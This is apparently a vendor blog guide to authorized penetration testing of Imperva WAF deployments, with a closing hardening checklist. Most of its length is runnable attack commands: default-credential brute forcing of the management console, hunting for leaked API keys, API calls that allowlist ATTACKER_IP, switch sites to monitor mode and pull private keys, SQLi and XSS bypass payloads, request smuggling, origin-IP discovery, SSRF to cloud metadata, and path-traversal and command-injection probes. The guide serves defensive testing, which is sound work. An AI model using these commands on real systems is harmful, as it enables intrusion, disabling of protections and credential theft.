WAF Security Testing

Imperva WAF Security Testing: Management Console Access, API Key Exposure, WAF Bypass, and Rule Enumeration

By Ironimo Research Team July 6, 2026 15 min read

Imperva is one of the dominant Web Application Firewall vendors, offering both the on-premises SecureSphere platform and the Imperva Cloud WAF (formerly Incapsula). A significant percentage of enterprise applications sit behind an Imperva WAF as the primary security control. During authorized penetration testing, assessing the WAF itself — not just what it protects — reveals misconfigurations that allow an attacker to bypass protection entirely, access the management plane, or exfiltrate WAF rule configurations. This guide covers authorized Imperva WAF security assessment methodology.

Imperva Product Lines and Attack Surface
SecureSphere Management Console Attacks
Imperva Cloud WAF API Key Exposure
WAF Bypass Techniques
Origin Server IP Discovery
Security Rule and Policy Enumeration
MX Appliance Vulnerabilities
Imperva RASP (Runtime Application Self-Protection) Bypass
Post-Exploitation from Console Access
Hardening Checklist

Imperva Product Lines and Attack Surface

Imperva has two primary WAF product lines relevant to security testing: the on-premises SecureSphere appliance platform and the Imperva Cloud WAF (SaaS). Both have distinct attack surfaces, though they share the Imperva management API.

Product Lines

Imperva SecureSphere (on-premises) — hardware or virtual MX appliances deployed inline or out-of-band. Managed via the MX Management Server web console on port 8083. Used in highly regulated industries (financial services, healthcare). Increasingly being sunset in favor of Cloud WAF.
Imperva Cloud WAF (Incapsula) — SaaS reverse proxy. Traffic is routed through Imperva's global CDN/WAF network. Managed at my.imperva.com and via the Imperva Cloud API. Most commonly deployed model for new customers.
Imperva DDoS Protection — sits in front of the Cloud WAF. IP protection and infrastructure DDoS mitigation. Shares the same management portal and API.
Imperva RASP — Runtime Application Self-Protection agent embedded in the application JVM or Node process. Inspects function calls in-process rather than at the network layer.
Imperva Data Security (DAM) — Database Activity Monitoring. Monitors database connections for suspicious queries. Separate attack surface from the WAF.

Component	Access Point	Primary Attack Vector
SecureSphere MX Console	Port 8083 (HTTPS)	Default credentials; CVE exploitation; session hijacking
MX REST API	Port 8085 (HTTPS)	API key leakage; session token abuse
Cloud WAF Portal	my.imperva.com	Credential stuffing; SSO bypass; API key exposure
Imperva Cloud API	api.imperva.com	API ID + secret key leakage; over-permissioned keys
RASP Agent	In-process (JVM/Node)	RASP bypass via obfuscation; JVM agent manipulation
Protected Origins	Direct IP access	Origin IP discovery; direct traffic to bypass WAF

SecureSphere Management Console Attacks

The SecureSphere MX Management Server hosts the administrative console for the on-premises WAF. It runs on port 8083 (HTTPS) and exposes a web interface that controls all WAF policies, security rules, and event monitoring. Default credentials, known session management vulnerabilities, and misconfigured network access are the primary attack paths.

Discovery and Fingerprinting

# Identify Imperva SecureSphere MX Management Server
nmap -sV -p 8083,8085 TARGET_RANGE

# Fingerprint via HTTPS response
curl -sk "https://IMPERVA_MX_HOST:8083/" -I | head -20
# Look for: Server: Imperva; X-Iinfo header; WWW-Authenticate: Imperva

# Check management console login page
curl -sk "https://IMPERVA_MX_HOST:8083/managementServerLogin.html" | \
  grep -i "imperva\|securesphere\|version"

# Shodan query for publicly exposed MX consoles (reconnaissance)
# shodan: "Imperva" port:8083 ssl:true
# (Do not search for customer data — reconnaissance only on authorized targets)

Default Credentials

# SecureSphere MX Management Server default credentials
# admin /  (very old installations)
# admin / admin
# admin / imperva

# Test default credentials
curl -sk -c cookies.txt -X POST "https://IMPERVA_MX_HOST:8083/managementServerLogin.html" \
  --data "username=admin&password=admin" -L | grep -i "logout\|dashboard\|policies"

# Common service account credentials in large deployments
for USER in admin imperva siem readonly; do
  for PASS in admin imperva password changeme ${USER}123; do
    STATUS=$(curl -sk -o /dev/null -w "%{http_code}" -c /tmp/ck_${USER}_${PASS}.txt \
      -X POST "https://IMPERVA_MX_HOST:8083/managementServerLogin.html" \
      --data "username=$USER&password=$PASS" -L)
    echo "Trying $USER:$PASS -> $STATUS"
    if [ "$STATUS" != "200" ] || grep -q "logout" /tmp/ck_${USER}_${PASS}.txt 2>/dev/null; then
      echo "SUCCESS: $USER:$PASS"
    fi
  done
done

SecureSphere MX REST API Authentication

# SecureSphere MX exposes a REST API on port 8085
# Authentication: username/password → session cookie

# Authenticate and get session token
SESSION=$(curl -sk -X POST "https://IMPERVA_MX_HOST:8085/SecureSphere/api/v1/auth/session" \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": "admin"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('session-id','ERROR'))")

echo "Session: $SESSION"

# Use session to enumerate protected web services
curl -sk -H "Cookie: JSESSIONID=$SESSION" \
  "https://IMPERVA_MX_HOST:8085/SecureSphere/api/v1/conf/webServices" | \
  python3 -m json.tool

# Enumerate security policies
curl -sk -H "Cookie: JSESSIONID=$SESSION" \
  "https://IMPERVA_MX_HOST:8085/SecureSphere/api/v1/conf/policies/security" | \
  python3 -m json.tool

# Get all WAF rules for a service
SERVICE_NAME="my-application"
curl -sk -H "Cookie: JSESSIONID=$SESSION" \
  "https://IMPERVA_MX_HOST:8085/SecureSphere/api/v1/conf/webServices/$SERVICE_NAME/policies" | \
  python3 -m json.tool

Imperva Cloud WAF API Key Exposure

The Imperva Cloud WAF API authenticates via an API ID and API Key pair. API keys are generated in the Imperva Cloud portal and grant access to manage all sites, WAF rules, IP allowlists, and security configurations. Leaked API credentials are the most common cloud WAF attack path.

Locating Leaked API Keys

# Imperva Cloud API credentials:
# API ID: typically a 5-8 digit integer
# API Key: 32+ character alphanumeric string
# Account ID: integer identifying the Imperva account

# Search source code for Imperva credentials
grep -rn --include="*.yaml" --include="*.yml" --include="*.env" --include="*.json" \
  --include="*.tf" --include="*.py" --include="*.sh" \
  -E "IMPERVA_API_KEY|INCAPSULA_API_KEY|x-api-key.*imperva|api_key.*[0-9a-f]{32}" /path/to/code

# Terraform state files are a common source of Imperva credentials
# Terraform provider: incapsula (legacy) or imperva
find . -name "terraform.tfstate" | xargs grep -l "imperva\|incapsula" 2>/dev/null
grep -E "api_key|api_id" /path/to/terraform.tfstate

# GitHub repositories: check Imperva Terraform configurations
# People often hardcode credentials in provider blocks
grep -rn 'api_key.*=\|api_id.*=' . --include="*.tf"

# CI/CD pipeline configs that deploy WAF rule changes
grep -rn "IMPERVA\|INCAPSULA" .github/workflows/ .circleci/ .gitlab-ci.yml

# Common environment variable names
grep -rn "IMPERVA_API_KEY\|INCAPSULA_KEY\|WAF_API_KEY" /etc/environment /etc/profile.d/

Testing Leaked Imperva Cloud API Credentials

# Imperva Cloud API base URL
IMPERVA_API="https://api.imperva.com"
API_ID="leaked_api_id"
API_KEY="leaked_api_key"

# Step 1: Verify credentials and get account info
curl -s -X POST "$IMPERVA_API/api/prov/v1/accounts/" \
  -d "api_id=$API_ID&api_key=$API_KEY" | python3 -m json.tool
# Returns: account_id, plan_name, sites, users

# Step 2: List all protected sites
curl -s -X POST "$IMPERVA_API/api/prov/v1/sites/list" \
  -d "api_id=$API_ID&api_key=$API_KEY&account_id=ACCOUNT_ID&page_size=100" | \
  python3 -c "import sys,json; [print(s['site_id'], s['display_name'], s['domain']) for s in json.load(sys.stdin).get('sites',[])]"

# Step 3: Get WAF configuration for a specific site
SITE_ID="12345"
curl -s -X POST "$IMPERVA_API/api/prov/v1/sites/$SITE_ID" \
  -d "api_id=$API_ID&api_key=$API_KEY" | python3 -m json.tool

# Step 4: Get origin server IP (reveals the real server behind the WAF)
curl -s -X POST "$IMPERVA_API/api/prov/v1/sites/$SITE_ID" \
  -d "api_id=$API_ID&api_key=$API_KEY" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); [print(s.get('address')) for s in d.get('ips',[])]"

High-Impact API Actions with Stolen Credentials

# Add attacker IP to WAF allowlist (bypasses all WAF rules for that IP)
curl -s -X POST "$IMPERVA_API/api/prov/v1/sites/$SITE_ID/whitelists" \
  -d "api_id=$API_ID&api_key=$API_KEY&ips=ATTACKER_IP&name=maintenance&domains=" | \
  python3 -m json.tool

# Switch WAF to monitoring-only mode (all attacks pass through)
curl -s -X POST "$IMPERVA_API/api/prov/v1/sites/$SITE_ID/performance/mode" \
  -d "api_id=$API_ID&api_key=$API_KEY&mode=monitor" | python3 -m json.tool

# Get SSL certificate and private key (if managed by Imperva)
curl -s -X POST "$IMPERVA_API/api/prov/v1/sites/$SITE_ID/customCertificate" \
  -d "api_id=$API_ID&api_key=$API_KEY" | python3 -m json.tool

# Delete WAF rules for a site (destructive — authorized testing only)
# curl -s -X DELETE "$IMPERVA_API/api/prov/v1/sites/$SITE_ID/rules/RULE_ID" \
#   -d "api_id=$API_ID&api_key=$API_KEY"

WAF Bypass Techniques

WAF bypass testing is a core component of authorized web application penetration testing. The goal is to demonstrate that WAF rules can be circumvented — not to bypass security controls maliciously, but to validate that the WAF provides the protection the organization believes it does. These techniques apply to Imperva WAF deployments tested with explicit authorization.

HTTP Request Manipulation Bypasses

# Technique 1: HTTP Parameter Pollution
# Imperva may only inspect the first occurrence of a parameter
# Inject payload in second parameter value
curl "https://TARGET/?id=1&id=1'+OR+1=1--"
curl "https://TARGET/?id=1'+OR+1=1--&id=1"  # payload in first position may be blocked
curl "https://TARGET/?id=1&id=%27+OR+1%3D1--"  # URL-encoded duplicate

# Technique 2: Content-Type Manipulation
# Some WAFs inspect only application/x-www-form-urlencoded or application/json
# Try application/xml or multipart/form-data with SQL injection payloads
curl -X POST "https://TARGET/search" \
  -H "Content-Type: application/xml" \
  -d "' OR 1=1--"

# Content-Type mismatch: declare JSON but send form data
curl -X POST "https://TARGET/api/search" \
  -H "Content-Type: application/json" \
  -d "id=1'+OR+1=1--"  # body is not valid JSON

# Technique 3: Chunked Transfer Encoding
# Transfer-Encoding: chunked payloads may not be reassembled by the WAF
python3 << 'EOF'
import socket

HOST = "TARGET_HOST"
PORT = 80
payload = "id=1'+OR+1=1--"
chunks = [payload[i:i+3] for i in range(0, len(payload), 3)]

request = "POST /search HTTP/1.1\r\n"
request += f"Host: {HOST}\r\n"
request += "Content-Type: application/x-www-form-urlencoded\r\n"
request += "Transfer-Encoding: chunked\r\n"
request += "Connection: close\r\n\r\n"
for chunk in chunks:
    request += f"{len(chunk):x}\r\n{chunk}\r\n"
request += "0\r\n\r\n"

s = socket.socket()
s.connect((HOST, PORT))
s.send(request.encode())
print(s.recv(4096).decode())
EOF

Encoding and Obfuscation Bypasses

# WAF bypass via encoding — test on authorized targets

# Unicode/UTF-8 encoding variations
# SQL injection with Unicode representations
curl "https://TARGET/?id=1%C0%27+OR+1=1--"  # overlong UTF-8 encoding of '
curl "https://TARGET/?id=1%EF%BC%87+OR+1=1--"  # fullwidth apostrophe ＇
curl "https://TARGET/?id=1'+OR+1=1--"  # unicode escape

# HTML entity encoding (may be decoded before WAF inspects)
curl "https://TARGET/search?q=<script>alert(1)</script>"
curl "https://TARGET/search?q=<script>alert(1)</script>"

# Case variation (WAF may use case-sensitive matching)
curl "https://TARGET/?id=1'+Or+1=1--"
curl "https://TARGET/?id=1'+oR+1=1--"

# Whitespace substitution (/*comment*/ instead of space)
curl "https://TARGET/?id=1'+OR/*comment*/1=1--"
curl "https://TARGET/?id=1'%09OR%09'1'='1"  # tab character

# Double encoding
curl "https://TARGET/?id=1%2527+OR+1=1--"  # %25 = %, so %2527 = %27 = '

# Null byte injection (may terminate WAF string inspection)
curl "https://TARGET/?id=1%00'+OR+1=1--"

HTTP Header and Protocol Bypasses

# Technique: X-Forwarded-For spoofing
# Imperva's geo-blocking and IP reputation checks rely on the source IP
# Some configurations trust X-Forwarded-For from downstream proxies
curl "https://TARGET/" -H "X-Forwarded-For: 127.0.0.1"
curl "https://TARGET/" -H "X-Forwarded-For: 8.8.8.8"  # Google DNS
curl "https://TARGET/" -H "X-Real-IP: 127.0.0.1"
curl "https://TARGET/" -H "X-Original-IP: 127.0.0.1"

# True-Client-IP header
curl "https://TARGET/" -H "True-Client-IP: 127.0.0.1"

# Cloudflare-specific bypass (if Imperva sits behind Cloudflare)
# Use Cf-Connecting-IP: 
curl "https://TARGET/" -H "Cf-Connecting-IP: 127.0.0.1"

# HTTP/2 header injection (HTTP/2 desync attacks)
# H2.CL (Content-Length smuggling via HTTP/2)
# Requires specialized tooling: turbo-intruder, h2csmuggler

# Cookie-based bypass
# Some WAF configurations exclude cookie values from inspection
curl "https://TARGET/search" -H "Cookie: q='; DROP TABLE users--"

# Test if Imperva excludes certain header values
# User-Agent header injection (some WAFs skip inspection for known good UAs)
curl "https://TARGET/?id=1'+OR+1=1--" -H "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)"

Origin Server IP Discovery

A WAF only protects traffic that flows through it. If an attacker can discover the origin server's real IP address and directly connect to it (bypassing the WAF entirely), all WAF protections are nullified. Origin IP discovery is a critical step in any Imperva WAF assessment.

Origin IP Discovery Techniques

# Method 1: DNS history (before WAF was deployed, DNS pointed to origin IP)
# Tools: SecurityTrails, ViewDNS.info, Shodan, Censys
# Manual check via SecurityTrails API
curl -s "https://api.securitytrails.com/v1/domain/TARGET_DOMAIN/dns/a/history" \
  -H "APIKEY: your_securitytrails_key" | python3 -m json.tool

# Method 2: SSL certificate search (Censys, Shodan)
# If the origin server has the same SSL certificate as the WAF-fronted domain
# It can be discovered by searching for the cert fingerprint
# cert.fingerprint: "SHA256_OF_CERT"
python3 << 'EOF'
import ssl, socket, hashlib

def get_cert_fingerprint(host, port=443):
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    conn = ctx.wrap_socket(socket.socket(), server_hostname=host)
    conn.settimeout(5)
    conn.connect((host, port))
    cert = conn.getpeercert(binary_form=True)
    fingerprint = hashlib.sha256(cert).hexdigest()
    conn.close()
    return fingerprint

fp = get_cert_fingerprint("WAF_PROTECTED_DOMAIN.COM")
print(f"Certificate SHA-256: {fp}")
# Search for this fingerprint in Shodan/Censys to find origin
EOF

# Method 3: SSRF in the application pointing to itself
# If the application is vulnerable to SSRF, it may reveal the internal/backend IP
curl "https://TARGET/?url=http://169.254.169.254/latest/meta-data/"  # AWS metadata
curl "https://TARGET/?url=http://TARGET_DOMAIN/"  # may use direct IP

# Method 4: Subdomains that bypass the WAF
# staging, dev, direct, backend, origin subdomains may not route through Imperva
for SUB in staging dev direct origin api backend mail ftp; do
  IP=$(dig +short $SUB.TARGET_DOMAIN 2>/dev/null | head -1)
  [ -n "$IP" ] && echo "$SUB.TARGET_DOMAIN -> $IP"
done

# Method 5: Email headers (MX records reveal origin IP for email auth)
dig MX TARGET_DOMAIN

# Method 6: Test direct access to discovered IP
# If origin IP found, test direct access to verify WAF bypass
TARGET_IP="discovered_origin_ip"
curl -k "https://$TARGET_IP/" -H "Host: WAF_PROTECTED_DOMAIN.COM"

Security Rule and Policy Enumeration

Understanding what rules an Imperva WAF is enforcing — and more importantly, what it is not enforcing — is essential to a thorough assessment. With management console access, all security policies are readable. Without direct access, rules can be inferred by testing responses to known attack patterns.

Enumerating Rules via SecureSphere API

# With SecureSphere MX session (from management console section)
SESSION="your_mx_session_id"
MX_HOST="IMPERVA_MX_HOST"

# Get all security policies
curl -sk -H "Cookie: JSESSIONID=$SESSION" \
  "https://$MX_HOST:8085/SecureSphere/api/v1/conf/policies/security" | \
  python3 -c "import sys,json; [print(p.get('policy-name'), p.get('policy-type')) for p in json.load(sys.stdin).get('policies',[])]"

# Get specific policy rules
POLICY_NAME="Default_WAF_Policy"
curl -sk -H "Cookie: JSESSIONID=$SESSION" \
  "https://$MX_HOST:8085/SecureSphere/api/v1/conf/policies/security/$POLICY_NAME" | \
  python3 -m json.tool

# Get IP allowlists (useful to identify trusted IP ranges that bypass WAF)
curl -sk -H "Cookie: JSESSIONID=$SESSION" \
  "https://$MX_HOST:8085/SecureSphere/api/v1/conf/netGroups" | python3 -m json.tool

# Get exceptions and exclusions (known bypasses)
curl -sk -H "Cookie: JSESSIONID=$SESSION" \
  "https://$MX_HOST:8085/SecureSphere/api/v1/conf/policies/exceptions" | python3 -m json.tool

Inferring Rules Without Console Access

# Black-box rule inference: test systematic variations
# Observe response codes and X-Iinfo headers to determine block/pass

# Imperva Cloud WAF block response includes:
# HTTP 403 with body: "Request Rejected / Powered by Imperva"
# X-Iinfo header with incident ID

# Test if SQL injection is blocked
echo "Testing SQL injection detection..."
for PAYLOAD in "1 OR 1=1" "1' OR '1'='1" "1; DROP TABLE--" "1 UNION SELECT 1,2,3--"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/?id=$PAYLOAD")
  echo "Payload: $PAYLOAD -> HTTP $STATUS"
done

# Test XSS detection
echo "Testing XSS detection..."
for PAYLOAD in "" "javascript:alert(1)" ""; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/?q=$PAYLOAD")
  echo "Payload: $PAYLOAD -> HTTP $STATUS"
done

# Test path traversal detection
for PAYLOAD in "../../../etc/passwd" "..%2f..%2f..%2fetc%2fpasswd" "....//....//etc/passwd"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/download?file=$PAYLOAD")
  echo "Path traversal $PAYLOAD -> HTTP $STATUS"
done

# Test command injection
for PAYLOAD in "; cat /etc/passwd" "| id" "\`id\`" "$(id)"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/?cmd=$PAYLOAD")
  echo "Command injection $PAYLOAD -> HTTP $STATUS"
done

MX Appliance Vulnerabilities

The SecureSphere MX Management Server runs a CentOS-based Linux appliance with the Imperva management software. Beyond the web console, the appliance exposes standard Linux services that are often misconfigured or running outdated versions.

MX Appliance Service Enumeration

# Full service scan of the MX appliance
nmap -sV -sC -p- IMPERVA_MX_HOST --min-rate 5000

# Typical services on SecureSphere MX:
# 22/tcp    SSH (OpenSSH — version depends on OS)
# 80/tcp    HTTP (redirects to 8083)
# 443/tcp   HTTPS (redirects to 8083)
# 8083/tcp  Management Console (HTTPS)
# 8085/tcp  REST API (HTTPS)
# 162/udp   SNMP trap receiver
# 514/udp   Syslog
# Various proprietary Imperva communication ports

# SSH default credentials (hardened appliance — usually changed)
# Try common weak credentials if authorized
ssh admin@IMPERVA_MX_HOST
ssh imperva@IMPERVA_MX_HOST
ssh root@IMPERVA_MX_HOST  # typically disabled

# Check SSH version for known CVEs
ssh -v admin@IMPERVA_MX_HOST 2>&1 | grep "SSH-"

# SNMP community strings
snmpwalk -v2c -c public IMPERVA_MX_HOST system 2>/dev/null | head -20
snmpwalk -v2c -c private IMPERVA_MX_HOST system 2>/dev/null | head -20
# Access via SNMP can reveal hardware info, uptime, interface data

Imperva RASP (Runtime Application Self-Protection) Bypass

Imperva RASP is a Java or Node.js agent that instruments the application runtime to detect attacks based on actual code execution rather than network-level patterns. RASP is theoretically harder to bypass than network WAF because it sees the decoded, interpreted payload. However, the JVM agent approach introduces its own attack surface.

RASP Detection and Bypass Concepts

# Detect RASP presence:
# 1. HTTP response headers may include RASP version indicators
# 2. Error messages differ from standard application errors
# 3. Timing analysis: RASP adds latency to instrumented calls

# RASP bypass category 1: Serialization gadget chains
# RASP instruments known dangerous methods (Runtime.exec, ProcessBuilder, etc.)
# Using a gadget chain that reaches an unmonitored code path
# Example: JNDI lookup via SnakeYAML deserialization (may not be monitored)

# RASP bypass category 2: JVM agent manipulation
# If you have code execution in the same JVM:
# - java.lang.instrument API to remove RASP instrumentation
# - Reflection to call uninstrumented native methods
# - JNI bypass to native code the RASP cannot monitor

# RASP bypass category 3: Second-order injection
# RASP monitors the current request context
# Store payloads in DB, then retrieve and execute in a separate request
# The second request does not have the original attack context

# Detection: check Java system properties for RASP agent
curl "https://TARGET/actuator/env" | python3 -m json.tool | grep -i "rasp\|imperva\|agent"
# Spring Boot actuators may expose system properties including RASP indicators

Post-Exploitation from Console Access

With access to the Imperva management console (MX or Cloud), an attacker gains complete control over the WAF protecting an organization's web applications. The management plane is a high-value target precisely because it controls the primary security control for those applications.

High-Impact Actions from Console Access

Disable WAF for targeted sites — switch protection mode to "Monitor" for specific applications, allowing all attacks to pass through undetected.
Add attacker IP to global allowlist — whitelist the attacker's IP address across all protected sites, bypassing all WAF rules for the engagement duration.
Exfiltrate SSL certificates and private keys — if SSL termination is handled by Imperva, the private keys for every protected site are accessible from the management console.
Access traffic logs and session recordings — Imperva logs all traffic through the WAF. These logs contain user session data, authentication tokens, and application traffic.
Modify security rules — add exceptions for specific payloads (e.g., SQLi patterns that the legitimate application uses) to reduce detection confidence for future attacks.
Discover all protected applications — the management console inventory reveals every web application and API endpoint the organization has protected, including internal applications.

# Imperva Cloud API: switch all sites to monitoring mode (authorized testing)
API_ID="your_api_id"
API_KEY="your_api_key"

# Get all site IDs
SITES=$(curl -s -X POST "https://api.imperva.com/api/prov/v1/sites/list" \
  -d "api_id=$API_ID&api_key=$API_KEY&account_id=ACCOUNT_ID" | \
  python3 -c "import sys,json; [print(s['site_id']) for s in json.load(sys.stdin).get('sites',[])]")

# For each site: check SSL certificate info
for SITE_ID in $SITES; do
  echo "Site $SITE_ID SSL info:"
  curl -s -X POST "https://api.imperva.com/api/prov/v1/sites/$SITE_ID/customCertificate" \
    -d "api_id=$API_ID&api_key=$API_KEY" | python3 -m json.tool
done

Ironimo tests your applications against Imperva-protected environments — verifying that WAF bypass techniques are detected and blocked, and identifying origin server exposure paths that circumvent WAF protection entirely.

Hardening Checklist

Control	Action	Priority
Change default MX credentials	Set strong admin password immediately post-deployment; disable default service accounts	Critical
Rotate leaked API keys	Rotate Imperva Cloud API keys found in code, CI/CD, or Terraform state; use short-lived credentials	Critical
Restrict MX console network access	Firewall port 8083/8085 to management network CIDR only; never expose to internet	Critical
Block direct origin IP access	Configure origin to only accept connections from Imperva IP ranges; use Imperva IP allowlist feature	Critical
Enforce WAF in block mode	Use "Block" mode, not "Monitor" mode; review legitimate traffic exceptions before enabling	High
API key least privilege	Create separate API keys per integration with minimal permissions; do not use admin-scope keys for read-only operations	High
Enable MX HA pairing	Run MX in HA mode to prevent single-point-of-failure attacks; test failover regularly	Medium
Certificate management	Use Imperva-managed certificates only if the associated private key exposure risk is accepted; prefer custom certificates with external CA	Medium
SNMP hardening	Change SNMP community strings; use SNMPv3 with authentication; restrict SNMP to monitoring servers	Medium
Audit log export	Export Imperva management event logs to a SIEM; alert on API key creation, WAF mode changes, and allowlist modifications	Medium

Validate Your WAF Configuration with Ironimo

Ironimo runs authorized security scans against your WAF-protected applications — testing bypass techniques, origin exposure paths, and management plane access gaps that leave protected applications vulnerable despite the WAF layer.

Start free scan